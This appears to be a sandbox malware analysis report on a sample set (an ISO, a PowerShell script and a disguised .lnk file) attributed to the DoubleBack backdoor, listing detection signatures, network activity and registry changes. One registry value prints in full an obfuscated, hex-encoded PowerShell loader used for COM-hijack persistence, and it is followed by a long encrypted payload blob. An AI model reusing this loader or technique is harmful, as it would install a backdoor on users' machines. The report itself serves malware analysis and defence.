Overview
overview
10Static
static
Document-1310.iso
windows7_x64
3Document-1310.iso
windows10-2004_x64
31662.ps1
windows7_x64
11662.ps1
windows10-2004_x64
10Scan_139.jpg
windows7_x64
3Scan_139.jpg
windows10-2004_x64
3Scan_139.jpg.lnk
windows7_x64
3Scan_139.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Analysis
-
max time kernel
86s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 19:49
Static task
static1
Behavioral task
behavioral1
Sample
Document-1310.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Document-1310.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1662.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1662.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_139.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_139.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_139.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_139.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
Scan_139.jpg.lnk
-
Size
1KB
-
MD5
ae4d8e1b3f31028acb611bdefbfa51b2
-
SHA1
6327c8798e529dd479e7bdd99c314867a7cccd3b
-
SHA256
f73826aa0bdf74bc777023b1e2c05fbb79194f81be1c2977af1fcbe6298740ff
-
SHA512
4bc8d72294ee65c89e0a0815321e1d67ae9f3ed43d7dd7aabc3fc05d02c766ff68664873265e3ef01e1fee12807d9b52c218d23d03b0fd91520ab853ea883557
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral8/memory/4888-138-0x000001D93A930000-0x000001D93A93A000-memory.dmp family_doubleback_x64 behavioral8/memory/4888-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4312-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4312-144-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 13 4888 powershell.exe 21 4312 msiexec.exe 22 4312 msiexec.exe 23 4312 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1662.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{03070F00-1313-030E-0404-03070411000D} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E040C09-120D-1208-0F01-0D0C050C1206}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('24737778796D3D2730323037273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B31323043303430342D313331332D304230302D304130422D3133313330333132303230377D5C50726F67494427292E24737778796D29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\VersionIndependentProgID\0207 = b976af81406453190c76aafde659ef103ed6288a6260ffb760c5e2d764352e6a4626801d0c70320f3dea0cec10fa3ce91bcc24e5485b16618e241d4e07a26db2566be8bdee709d6ed53d455f5553535ea0f6b414276c49821c1ef31691da7557f1d035a86186f7e93f6d97c4e91d9cf63ecef4f1819ec678ce816cbad0e8df9875cfb4c91829d463bf6fab2de602852167e7a8e7adab4964938200ef4d3e73c0d2e031b3bb5247c9900ec9957fd6acd9ae3a6bec5a48c647ea5891e470bb836a98366ba565c7c0f1d89ca29b22c8575fcb2e533d65712935f4f19df372e8881d7c2b9c913fc4b73833df046579ecad5cb632b0eccb39ffa2dd39422f9b5833ef7ef855f10f29616f71441ac83628e4e3499c4319370d77eac8cee8da2e1478762068abbfdfd275945cea34843c5079a0187200f284beda24b8f06c44445168f1bc76b722ca694cc7f18ac58a115a4a6aa6faa4346d08d19239030a3d45b44289cdb4ad35132953aacf6a45ed2ee6c7e9ea2bc0db87492e575eee00ce0d9c41304b546f22833fed9641b95bbf814286c79d5ba08b1305d06bce0a4aac1b9f322e89c112f0bed76e5ce8e2fdcb9608629e49b7042ea2d198be281eb4fd1b3e6077a0141f1664ebdf81928a5cb6aa90eeef96f4da3275f00f5b02122e4cdcb4f20639d3820412066b396a0799b0f7f23e0b23589b5da8f88eb62188f29ee50ca5967864cb0a2a19c3f43b856a41ce0e24dae5b0aa7bd444de62946493979c83ba32bebaf9ff013441726830443d96ed5caf3e5f5ef3e83edc78c03e33ce49b9633a66a364bc1763ba0e250378a7bbd6a9f633e30ff73f38838b22456bbf532df316c2e62b01461042bc8143dcadaeecad79c8f24b9e4c367b34541ea647c336c55ed05e07131b42594e5c3e3931ffa19494a9677b35342be1c0c2461901a0c21e1adaf4bb90b53afed684446c59a98161547ae17354208d9db439b2da1fb9068188aec70b60371c04d7d3b2cb03d485ad4358b06b67ad9d8ea2ca7903defeb893cddfd0c5dcf11097c4c46c68864b7643477e7eb876a5d6dd2af2e42a2311ee5273f335050120787c9f7976f9d3a4ad56c5accb5c8fde92bacc26bc6a2549e1f0c47ed316b692fdcea714b7ea8cdd5c54edf2df57263cf6a4179b8bce3875f3a0437e709a958475edee5f605aa58ebfb10c0c8341c6f47fe9904069262a8858087dd36e623f3735133e5e114701facdc40c45e86b74d871d58c220973c435dd12fe90ff7be4af6ca5edeffc207736d146893c16ea1c64d262c5157e9c056877eaba3ff30fec1cd1370aa94b015fa53c9a430f2a3237cf1bafce5003d2334177a384122c002de3592e94e4f401fbae5bd89ed197991c9c423f8ab4fdf7f718ea7fc44c9b18b53a14ac92c0a680abaef217580acbcab45f120878fc845573eb91c2dee0e3ba51ad986e0e3fe4283bc591e5e49cb1033ba0ba0c2825369b53b9bfe3068a39eba7993b234c728d4a059c34a117278abaf1015ec33e0323138380c4f8492f0687a3665161917f48d8f38e442e652b1f06a31de6c3a97833523d3ba14fe4acf64faca512ecb61279c6a315804ef2b4f9f11ccc8c5aaba11db7e15a19aead07a7700efc6c7212ecc1ea4a9462d646d8294633d2924304d73a1676bd083f488a82dcdaffb5c8d8890a4cb00d718a62e2af2c6d7ef36145b2da1a45af7b399d9d3c3f1f36b5107235abd6c0b0c3e29461325f905eb41c3f3ef66f45bb8546c2605ce8bb27adacf813b2e3075ba67b040acdae73ad9211420388a38f4c11dbd6b659d63366d82024b9cfa3e37e85549d7acc01624674feb81ae8e35934a41cde1855863f9e421e22b5492cc52995afc31301807efcb25ffc5cf00f97b9ae6ba15652a9cb7f79b206c7d4d3b6a577747be8405188ab7233ca3097c9c852a4c32ca8c5dd15d5783a296c1c92fe73daf979497a2eca935fe41f2e13fc99ee49427baa4412441c8bcc8862dd6c9e9335ea0fd2a899afe844ac6ac6fa374c2ed39122decc654c16c07e494e74cceb72fb389eec6a2f746754e68773071cf9670b15d5a277443e4fc60de15689ee393c17a91e3ee7895eb86e0a3c6c2f081b04fd663384c22ac7c1593fa1a51e9d6e081cd41884e57c2b9adcb055093bae5e03c4aaab5e313f501518523314fef2b5f0d514da569a8dbe54ca3f5c196fd3796ca773b51fe3bc1974eb9111d4cfd49c7957924023149a3491f73a8c11155559b07bc5b78f809380e1ef83c8f5dfb56de2f97f7f6d2b2f81ffb16e3f8c709a529ce4a7867d5a8812a81142edbd5e79cc649a5feaea669f7acc7b3a82dbd77b39c57a5b4b421866f6d23f3ae49f0b44c2d3e21148792489b97188e127c41a5894756b7b8662c842977654c20e4f6a4974d49a286c0e2dfe1fe8410becbc084e5cf011c3dc2646efe6ab100075e5f5994b934ccfaf72fe8e9e3e7422b4ed441fb7f6e73d66fb954487c0af976e3bd52b1a34f197f3c89e2b4b287546815a78e82398ab2a1e06213f1f8342a7b1a0ad38ca8d12bf1a9c3537d417e808a701f13e26bf088da7aaa8616b930043949bca0930970f57ee86b477b4103527def9542c44bf983653fdf63e9f0947a1a200af492fa192275806848e276cc788f7f855d38757ad71b9e2a3ab5d4986c0039f2835c81052a4d43b7188c5c500ef35afc849713d9904a793b112c688ef19fc4571cf8aa5b68bbfb10df992d9b9b65720cb9dea0d9529bb985c6b715c7993559fe605cba964989bd390cfc9ee00b162ecdc3ddb688af21a52320615b71bad8a602bf5d4f73ac5c8f5353aac02eec4d7a24057bfc7de9caaabd7a3874d70f7f76b85fbb10014cb214c98f2f76aa65dab2684743b1cbaf76883bd2e473d924d575773e2c51ca0ea13cc5427fb73dcbb5be2524a7f51fab0331362ab7c887f52eeffd192d7f5d3674af7b8347ac976d89c4213c2468999a67f156a1e742ab3cc96614cf9fd0baa8e3b7da3e0ff87485d588c0b919cf8a31aab9ee303dbb7b4e8061ed9364dd29b99b038f509616b5b4ac199fd488bb2487f1061bea65e47b65a0cc4236fc6754b7e4fce7b19d4d3764e4c8223b4934ebc8ec67cf8e7ba9e447394a84c7f230e6c62fcde88c4f45f35ae84cd32e05c7f002341fe6143e525f5f220a2a2fff8ef141295c9b3fbda6ac3da373523874525712f09e1a0e1f287f3f4be1b1436dcf14ef14f2cbcc8e26ac2201a646bee7fd219800bdf962f24f51f812eea01ac212ddd83a6653ac9bd8ab70af464b52c39255c8f262db3951b0c0ba1399e27ab5e63cad213da6204e2db0eddab9e2f7f5057b35c7f6818e0571edd60df7e838b0a32ab04b7e3528e308fe1c25f5a04227c11a865e08fded64d4ebbfc400184e7b4fd2bbd3d9be849ae999e4fa250218e273f6ae9f44027dcd1436d5e8abdfd4675313a346305a5a15828be928782e299919c2c0b28f2d6a249799bc180ee77dfa4ee8c70871cd2c74cde0c8617104df793ee9c8bf0f06c7e22844c72494657537b994a3e75848b4bfef24ae6d62b70af6b6a4c00c908631a38661b2145a135c3bf4e1198fe979f4c4bef33de6c4cf76b8ab4ce34766e151887d5bb926bd515022ce6f262d1dcc804ab7c95d199dab6cd5010a9161fd1ce95e72da1d7d3d9c586cddd8a52c34dcf090c51641979c73b2fcb76ea16df0ac16d39c6913b4565aeb0f5be678f4c4a6264ff14612ead9da97f602fee4f773a271f163f0c1035051bd1e1202742547b13b9991b6640339961a0a2c7e819a3232b772a58cfef78766db4db33f4dfb04f2f73ff95898cb3f5f595357278dce46907f6f73c84b0b22a19150d48adfcb72ede97f780d5e8a546ba469af2253a2ec0e4a1520b0c8e3c86f8a1a5b1b9fec85f0c0afbf79384818e69662cb5b3033bcefca31a7b55d027cdf3efd28de68d825e4964aaab99893111534c4006b165b842d181df57a305cd12b7ab448109c6c3b7dc7b63bdc387e792c83026da2b0ac5a671d258a5e42453535098f50f21793a9a4ad411eb4767ab1d94783b7987fde070106b927e56febc917e29631400423035a3185ea58bc609e5ea945197cd28f916163ad87135aaf8c404187e90bf5b00fc26cfad49553a88eb8fb6b4b9a3041f44620f13117569d6d71f18572db47402f489b42e3e9b836f128aa007aea0529f834169b89f10911804f4e1c9ccc3770f6982e3525d568936353ee3f183470a8b461382a1ed9c8796ae135967d963c9f7d309feef5db2401eba12f68cbf398af9c5e1b1a777d08349268f729fad90a7d414f56366ded7ea20ea7693b8b8109935dfbacc9ce9cebf7a0f33b299cbb58fac737411aeeeb13f7044c3cbe827d0ba28f3cdbedcc4eb8757f8679a9bd28da56c1c1451dc5c1362e0fdd7a2e2f9a54ce5a823d8cf6b6c8c27dc027697685344ad8ab1c5474d782544ee7f6fc2c64b204049df2618e5b319a0a0b68262b5d087f5be013f1e43a3d39b6cc7712f2ea52f450656b281f9a36651a6c0923cb4dc6cf31e73ce28e7c634486d51dc55fd5831cd7ae6242988f928113991433646012f7613409c24f44f67f0c6dbd8b5f7e91188f8d4a7aebdc5ee6d1e03deecadbc79109799cd032d55350f60e1b886d178f3ca74a4ded671867c83de653c40d0e4947dbf2e05f34d5981f9259fbc2da4bf103bc0a81857c50e62c986df0f52631b599acf6275034f34638f3fe51da88cab2d9501b7149b966688136eb2a832e317ea1b89c9b1982d884ccd4374524932be45ce6a856a21513f49588c3f973e0d306490a73ba35e23640941f935aa2beac99c1f2a1fcc81dac36c42cbb10667c97d47eae8e7f9a41f4e0128246b472606c622248cf0433866e7acd86bef375dc0b99a72b04a10d2e6d59880015dc1de09c4dfaeb0b4ca4cff334e29ed40cfd12bca8b5f694ffb9716cf702c174aeb0b74ea7f70108cbca7d9fd7e8d47cd95d88599a39eeda5f7b50fff1d785be96064a22acced5a6710f40a2c3028c055c4cd3a688dd8032da0569bba7e700a252c98a6def073fa283666aff31bef0289c280e73ada34ed2852fb831f6ecff56ab439630e5e6b00d9427083a6f876dfdf276683a00dd1d961dd0dee9e7835c9b2394493f006d7c8e50613851f1a40b78a9eb61dec59ae17f34c7940df309f746c428ef039dff866c32e31e4d3cb4f57c5771a17a85fec1682d96e61dfe17ba62e66caadaf95f0e532abd1a9002217b1fab5098b3cf719fee918bc9868ea9a3dbad1a096958dac93dd9f64ac1637e8b1b49cf7f438ed49ddcf051a433131508c9884459294d50628860648391b7b91427782f89c0134035f17417a667c056348dc1a2cd5251695644ab9cd55e8ebd5d1493cb2221e7224bc3f3d1c2448812c47233462cb30552f2821880c5c5d63b16c45dc05a29f369c937db7efa9341a7db4908a8ce38d377065732a626944ad63883088c47bd861b94fa0528b1c57cc62dea41d674efc3c04cd33aa67297b6453cedf7e1b9df841d4706d523935d8a4ac51feda9bb9c06d3fe424bbc8817a0361ede531d164bb807874197aafdd36b9f798f2ad7bde9ee93f7dbb70034d96864405fa9d2e4c2ed14976f7fcbaa7179b66d9b1a472321fe290477ff72d1605a306a179c086878015ffd0f45ce59886e0c64c604dc526cafce7236539425995f611ac73045d1b5db2fcbf79fe8e239424ea8af4532fbdd89778cec97026c096b88ad2232d9f9830bfa3227e6937bbe07f6421ff1115f8251eee56b3db4db4bb774bf2bfe743bfa6518ab5fe82cbba230a6352ef718a63620e8da389294a1b55d993f8e1de25bf487c572493e1a4ab7c4476c4e381a918eb250c67b86def959e427e795d007f597a5cbf495b558f38cd936bde9156b4230fea132ffc552007309cea3453a95f6801ab4a6bd0a0ca3b691d5667660c1e18ada8ff8d613a1daf88b187f8ca2b4380e96b97208f8a0f435090f656909b5514bb769deec6cfde745ab6da28cad381d2c2d9e66773a13c332df9b66a6bd30a58cb5073b868b286c74cc62ea1389938ffcf5a14d6af2b556c58ebaf665bcee266044edee43fe8309e53bea84ef461c82874867fbf25718c6d3a2e84d72ee495011e30303622bd33be587cc32a25d0d36b87cf89aaf567880cd8f310f2dbd86d36c033d3435b817cf0ff44cfafeff717ab399ea7dbce187b3d4832ebca85dfdc4720edd415ec00b3c5c446f445c803cd8c4c3c2b17429b9c8be909ae1a0339a6e91e24d865b738cb2e9b27bfa466032f5b5cd25a38bcd712944692acc33d5930ce160ce9b54683391c4e81477b939e3ba350ba5ff8dc9c3e940c6d324afd4dac82302bfe58e3412dda232f9c7ac2a0063b1cd737d8e5c505406950e294e26d46283e8bdbab91a3df4c476f80709b434da8d74af4461eaaf17a3aea4dba5511e4b66704ee1f2213e5965496abf4d1e33e1608c45c2ecb7fd5b855bfecdf1bbd123eb1fe562ebcda09cc061a529dd97df4a2dd7c77b54ad12b46103413250f5b1fda1eb6fa44b6f1532fad7a093ce101c8376320bde9e19b09aa9ee73cc3b8bca184e47cd2eb3a02fe7b69d8215ae6836084178ec57ea1781bba6ef4632b097e9b037544d0efa03310887445e5aefcbfbfd3660c1563107c6c2833817252c750424dc63c1e720fda4a2b9be0ad657e4754c5fdf8784e424466ad77b2028252002475e53be9f4bc134e9ef160c0c42bed3d6c1f1fc0888c29e9b00d9b1c229082d21435ce1ffde64fb85c6fd068390122151da6399b2b692cbc17c0dc9a27f6ddaef4509c6c3452098fc3991f8230fe6460d7faea01d9a0f2e4c3424e94a6058ce58c1c98cdf268bc97ab8c2b893d59a7110b74277a12af697ad82441c6c011f7eb3f5d1686312efa99cad25435111f469c8dd46c2cfdcc079ba02c1ed0d68f31d6a04fa14d9614eff39d61b90c8b6a14d31c6b5190d032a1f59d89da7ac4c06657900a095a4a255829f084c7fb2f112c8de270d8bc71f05528e7e704a6c52ee145da722d50df8ba55c6ae54e6c4c944f6583b932b91745c9fa267796973c7e390eb8f01a9bc03e6ddff941dea0ba5a312881f9e3a03a1b299e5c4a4d3b6bbad65ddeacf81550cf33631b471acf68afb18118689aab8db08b8856af7fbc5c6b1d54a034710b6c047a60966e9ee92afa5bc8a5a55e77db84accbbfad42d6c5cfdcedd48d50c23413ff0f5ae45e0883262d9768c43444384e5de34326decd34d327f0853d7914a1703c0878ee3b27e16693b6c04d3db08f5d68152476f6ef1b4146bb47a1d77b617e6efd5822c61d858b8054bfb36a0ccad1ac1ee31c02dbe2cf457060f7040d0f2bf885658456195c034ebc07f673ff6073bde85cfb7e522901814a96c109fb5afad44123e0dc300afceb0ed4a5edccf34c8fe4b88c0586956bf1b7f70a9b80f20a070b9afdb87ac90225c027f1dc0ad3a99d83270e3c4da7adfacf675c1f6f421d40be10e2b13832052c37651877dbff0dc23418c31007bcf6c60dd0874a3736e6b297a8f661f94ca376be8ca5c445861951e6ccef5b90264bedb2395ead4b7931f5fca7a37ecb4f06beda325aaa5c4e022b93f0b136a8d4bef02d91eab65a05f41c8aeb91f440b07a89886ef01977690c044336014a6199b3ffd659a24d5cd570a362cb51135159b4e4b507e5e40360aad4dd36dc676773542f2c4aa9341905d31f016feefc4b68ac674f676af96aef531adef3b931aefbe1f77f76721e66e25b87c3453276bc57f2f4353701ccdb3f2cc9632aa06edf141934bf3dd7680ed9c903395e2540d2d15a1078a05cdaf819c7180e5c8f0ef0dfb8cfe71417d145dea35d5d75fd6a89fec5765c0b186771801879274b76ab1a56aa7724bbe5d6f7ae1ce9c17341a73005d89f21bce3ad45a5cfe8c8212dfffcab2cf8bfbae4aa04b293b825178834d8cc2cdd4a3f0ab9ceb14a9fc3a9f716353ebcc648125489701ad2f0aa5e03273e39df4642759784a126a581ccfa3cc363e20903b21e80f123a72aa0158a3327790a3279ffbaad5172465df0fd42cddfd2572d088df574c1a72ec64762981221df2a820e0cf97fe2541c6e0c794710033c9f7753e234c2817f0d45876066a0df8d4d6ada6a2b638cfbcca0c69a8da24ba7b41c396f72d253183fbc1a0ca7ba21f09e8a4ecb4566aaae77cd74c51c5d732997935a38035874f1d63f4e0a58f261f329b2bc7324a8e4a84ab17619cd2879d62061f7fb528d26eaae921a16a593710e52ff1e2b59566143fe9982238cebbf191c90b3ad0629846628ffd7d376fd462d0d20480377e84396c190e2b5ee68dea368b753fea7d323a989de001cc12ec3bce8e9a71b01a3946fc73851dcab430ef3abee7f028a7b877d144e1bc7109f545e736dbc011aa373f6c08ee5874469461de49cbbdd627759381439891290e46f929fac9548950045f3beabfa93dbc61a4e9ab0275c0fa89bf283094fbf3d514de66122eb3f9806e3de79565328ecca915208e1e78c7adcb312de2004f2b3862e670d171dc65223406473f3a4211b61de51ac02662b8f8ab441227f6ed48399e473cf2e9d92fa84135bea6cdfc207a3c9f916dcd180938653afc38341361d057563f0da13e35e99f2b245e74bd9246885cc72676b2d172b2ca57944fe564d21e15396e50a8bd6e15307fd7bfc329a228d1e65568664b7ae4ae506cf22584bd708888f30eef10b1c02e51aec4fbe0bb6b6cee79ee56171103edfcab0114ab53e57e2110fa5cda843a9981e4bf8e0f4c3864547e80980d065477306b3d4ee77c969ee9f0ae5011d7bad68ce1c74e0ab73aaaf28cd4cf8149ff83b701cacf8e7101241e01544fd0c4599d5a783f5361ed4a70a4d07754399f6c4f291ced42600efb4bf6128f30d192673c991c537d8d8c19bc31e3e294a3ab51951ac5502dfc67f7c72f323f17aeb900efbcfdbef770c1e4dcc666a130acf00370059fe30a641a20d3ded7f8ac3ccafc4eb043c4c7d16abb0b5787c0395cb5d8bfdbf52f2cda63654a492a577b8b65748d08ed509953528490560ddfc27c9599637c3e33dd7ce55636cfdfa6fddaa3ce27eea9adc5cba53ad781ceb831f68b3eb02cf20b558a2a6e4b9c44dc3598a9e3f267d0d7772692f3963671923096f76c73aed16922598e5a9962322374f473c1242949ddb5888799c340a1b2e03fc33d26669049a6d2a59c5f4c5cde936909b7bcc7af7d506f3206ed8d265cc439517f51d578ea644918d1c16252d0c8ad8e2bf9535c58bcf27b543b2e59757ec7f964d9f3b4bb86ff4d39dce07d0e7d1cbdf4b21f4b5a2938d56281b06beacf21c810ff5ef55ee74f140d145291803328d0f28d59afe888976a092dc1cdf5bc4593d07cbc357384f9e25be1860e08be9c4e5d304ebf40f68d239f921f425d8c23cac3a80a9e56c4f69d3534b2f3e02e01afc8dfa9aea8f5550ab1c052efb0436917848005a02953006476ded077541a54632382ad1dd7951200c48476a70f0c6cf1349ec22fbba49371c814b97dcb7cbed372e77285a072a232e9dbd41b524f1eea68e8c7461df5101efde3a4ec1aff365770f6397f2542d5c105f84c296a9cf61e0b041ea3d880f97f0f034ab3986c9e4fe2a87613156df50ffba20205b9000a463f1605c275166b8d03b614ed6b7e4cf3f0fab19903244d1ce04f8e0ae13d6abbefb05d1e337454037cd58a6226a8007096e24cbc27144bd49940f3e6cb938d8bbfb82c4100356a5dc35f0662249661d3ced4ed6182a93217dc72de2c31b3f43255126649d750f68263e8b8aab8ecae434c01ac942590c715f9907b165fce5dd8c9968b61e3b5fa05ecf289c1f828b73e6b1b86d63d13f8cb4531cbfec56cfdf188605107d14cc56c59c3d9354100cc2e5ca9b52b4219cf34827d47c5e025093fdb2fa26a529043f30f17eaeb9188d1b621ad7709a9b0515ded14cfad0dcf0cb3eba01035aa945b30e9d2261e52bad9710c2ea7c82d91f59942e97d1ffca0eb224baa62e943343509e35ee5d7a2fcd29729a6747ac275936ddd8fb94a5f364b6e8e5b47ca1d131bc450bf5bb5c1dd6cd339b368866b92ed08b89afb55c34d7ae7e2ebd548b3909b1ec69c7192bf8f07ccd52fb258c4333d6c8e496b4546f25447d0e586863e4566ef56878f1be233ee6610d787bdea78b5a0d148b69627f0f2a6706ab1ae81ee59e3d0db6d34e74f3b9547e1b5222db43ea2f67e49df7a53f897f958210b0903447be06d24159cb218d09a40e0b783496ad9e6705ac66c15cd5b3a1036122b5495c1be9b6f45ae8e457b483647324946f589f344dd1509d996f72835651b7456dce6bed40325ddeed280f399ac1df78ab31c04d42e58762ced1b7a766f42c8d46eedbdaf3eae95bff1f28af06be106d9165a936c10e3ec1922f25354eed457f7bee8c110f2888d7921d50672dbcf9831b3733a773ff44247324d10eaa7f9cee5d232a961523781775dcc16b92b7dea30e060e4c98caa01deb9821d62a1c0ab998e0301db2d2fa01c8df97a604f85bc5613ba15c0587dfe1a4420e91a4f8407e8825eccc7c384024c0dc4aacee34386f974867133c88bdd8f16c6118ac8bc4d074be4c8e83d6dc9f15207f2d3f8021bc7d37e5d9f8104afded72d2a6856a885ceafe25b2a22f6290624fb0a08d4ab69ab04d69a633f8cd76bdcf9e8e70c554b6d55c283b5a308d981189da053a07aa66eff49cb26baddf4863d2ed089de5a9eb18362674bfcd884026c426b4b2988fdf9855c282776f9f521871d69fc0a044ca21c7dd573ccabd487ce3860406c2d72d4ddbf4cf305fb7378f857882aff6f9817ac73c221a209688ef06750e0d10cd29b1a2e52531b67a4eaee342f23741f7ac0684d9c7260116616b090100687b692df018ecb0e93bd0377882c183cae8d8df8c660512bcc82607a85b0bbcd6b2baaf22608e8eea0be7dfcd7abe93c9ef83085a9dc7ef241ee919887de30414df9bb1622bc7faeb83ed1ee3497beaac534432b1792723293e2931cc4f98d70eb2e489da0d5705f7bf996387d6990b4a5175b0f6ac8435db05155a30e8ba028de3852297f1b6c6834d5a102ebd8517da279d545ca4dcdab900eff239bed90e974d7cf207860986a35857c6fcd57f5d8a1d166017452c065a5cb0010ba3ea9901dea2f19e1ec0b08dcb3c0ddc7f4eb1639ac0101354323676d3bfaf74950740379ef0337a2ce942d728c648c205f83c390360f3fe4c6b0f668a92667c672e39e4d376f49588a681e1a143b2f4eed5e691c37ceed6cdbe096b28d93fc7d7ee1ccf3f6d0c253e72f0667171028ed61e11bac8b59dfa48b967293e08e3790f218002f25152d103c8ffea4b0c3007b0caba544e85c5cbeea06a0d27cc361411bbfe9abac71c09763d2089b8b1600f95c3ecc89286121b890e8603fed2485ab640790b7df005c7e4ddd14b0a6c898463c9ffcf52c14974309cb9c6f9cf0e6ca76ad670a308419b2dd200df99fc318c4a71258c089bdcb111684d4b1e46064ed958b7a5c4161f13a92cc12ca10a341a5c03bf51389810c2a8ca8fe3a251db6f5f88bf4d4df48a293b0621a2fe394ddfdda52268d472be28e6f1cd1adbee099e37c76964fddcffcd61ea3dd147fd17d5d5ebbc0759b6cbfc73c4e204da4bb4262bbd3040796b8e4ad24dbe4fdc905b5366eb608601cd420fd1508f47c282a625f9efb30fb01e579ddc1891721c10294320896e92c293d9b14d3cf8362ad53df10fa04433eb150cd1fd4c68b55fea2db9f7b7a8cbc6babcf880e4028a8020687cad63fc673f615c594d6f1cf85e0056eaa26b52b575a6e9ef212cc76b61cb70ac86b4b08e8a56a86ab78fc390b776089ee94238667800810567cdf8621bc32c0dca94fc65c7927f03b5864f23eafd10602b0c4cca8308f6e2c0e56bddabca540986ac9b2654f16318d5867b7df7e3a0a85add6b31ef1970133754452172952b23dad35abd981f67c9217035ff0bcd3f886aac52463a84fec684451dd651864ca748241b8cda7e32e6c3b582c3fb8b2ccc9d764bed393d64c2c3017829c81e1a409cd8b7423c4e702fb8a7c8aa32fefbe80b116ccabb831c9fc5ab181385b817e598431435acd783a9c55949ab233340c2cbe8b1163a1848527663cc2afac1ae5c105e69648959f6d1f98fc46918bf75054d2a6e27310f9748b72c8c6d1e29cebdaff33575a2e8fea7e43cec0081db1e79101d16ef34d96eb2a8f2ce2281980ba69d224abb4b86a77e0b22a404e000945fc60e3ef052c295f9e571e32ccc3f1040c22ae305d45fbbb3c5be12f012e8d6c76a478a426a2c6fb9048d611a9bf271d5472e426e887c33dc521eb115ce4c8517f308a282372798b5441284456a61ca6b91ce483cdbba7544ce38d824fefbefc9e0b0983287f08ec47b92c63a8e9a3aa467f713f2e00c26a3cf4b3b6255b04d50f09958d907f3e1f0b845a7e668c662e9ae25b8072fa76519aa26b8e5d2d6b92e49d20de7d4ca72af37d56d87ab08e5b4e474291fc575e5cd5f8ef23de13e1e06ac4e3a50adfc9ac432b8efe10693a7a0ab654cbdcae7633e1def269e3e59d02e6b8698da5e2b15a960ad265b3665fbc57c99f83c4e1a3ccd5d6ab360d554b267ae928e00c8e7570abc7e26cae925b6967386e82cf47f3fb34b4be9b83181d05a3a25c47e77aa57d9f7047f337c4601aaef3b4b3f87e9f1453b805a1a2861ed227b50c03991733078cf16c143ad5c6cb270af7855ec487cb5f828e63f89e8f18da1e24e48e31930520ea941ee39248b368d4952c54c5304b4cd5305fd85119b67cc0c58f37ec5b14d318eeadab40fd41bc7323c2e83e0e1087e4413a0ad296114786add245e1ceab3572e64b3355b45aa93df71fc88da05c18afd0a08dedb15620871674ccfc6813164de28f0ecc7cb6aba84c4b191e7b81b235d68aaa5c022eacce66a4234e28aeb8f6fca928b9f0d61f2e29cce26c090e247fa5814d33e7fa89a1c406b7ca29688d8336c8bc2645cb6946a7f59fd2a0040f2fcb78bbc5e962e6356338dfbbc556afffb6dd729aa7604b540ff50be28f1b1b6dc57d5aca7d3e399c5f833d48a27379f057ffee98aa785a93359dc48761e218500a54037e76cb21f03fe56e1b5ca0721a96ae62c76a5f7e809ecb894cd5a65e725bc8c9e92953b3da1b54d00e8e38a0ee349422fc01cd1e11114f3b727a73db3fb5dd86b0742f0733e2a6f8a35483da035a2d4ab1cdce340bed957fa729eab96efb544f14fb66998e6904f4f6c78b0f49d575d7123573879ba5b133443164f475a5afa5b25cf83e35032ade1289d3e2d71ef446f418e367f660e841a05ce7afc9e5882d572acea07e56afc0eaa70ca807e567d8cc570b8690f9352ef996347de0e1fa444a030f171f7c21be2697f9e18e9aec6c17c1e7fcd6f6510c04370c1a988f07713828b059ecf1977d598eecdc89b5541771ee6886d8e27708424f10403fbb392b16f3fbe77e0c379a1bd935b94a23e5788ee6a51c8fae59d804423de2b81348801a6172908e2752d597b111adc953976d1b66153f932545402472deadd3aafc2447f994c373769cabfd311e76c791af8abe38ce43c1d46190d190e199d33a8183aaf505316071413a75a0a070b71603cbe0eaa5f35f982b6a461c72db421d2dd39ca922cc4f2e2d7d4c7f450ce45976400a6e95a0f6aada0c0b0ca5b1e2de0fd971dcc6df6fa6dc67ec699337d7896a6515abfb2a288192fd7a0d2815b1646880023efd721f9914a02aaa57b8ea9f2e6f1630510b64b006e0d0e1956945ba9b0478198142990415651e4cd2ea26c7e497868fe142efe9ec5257ea5580c8dedbe823a761ab94b8d5a26427e75839547d7be3252e8647f411027b2227b19a87141423067a46921840a6994bb9748c69aec89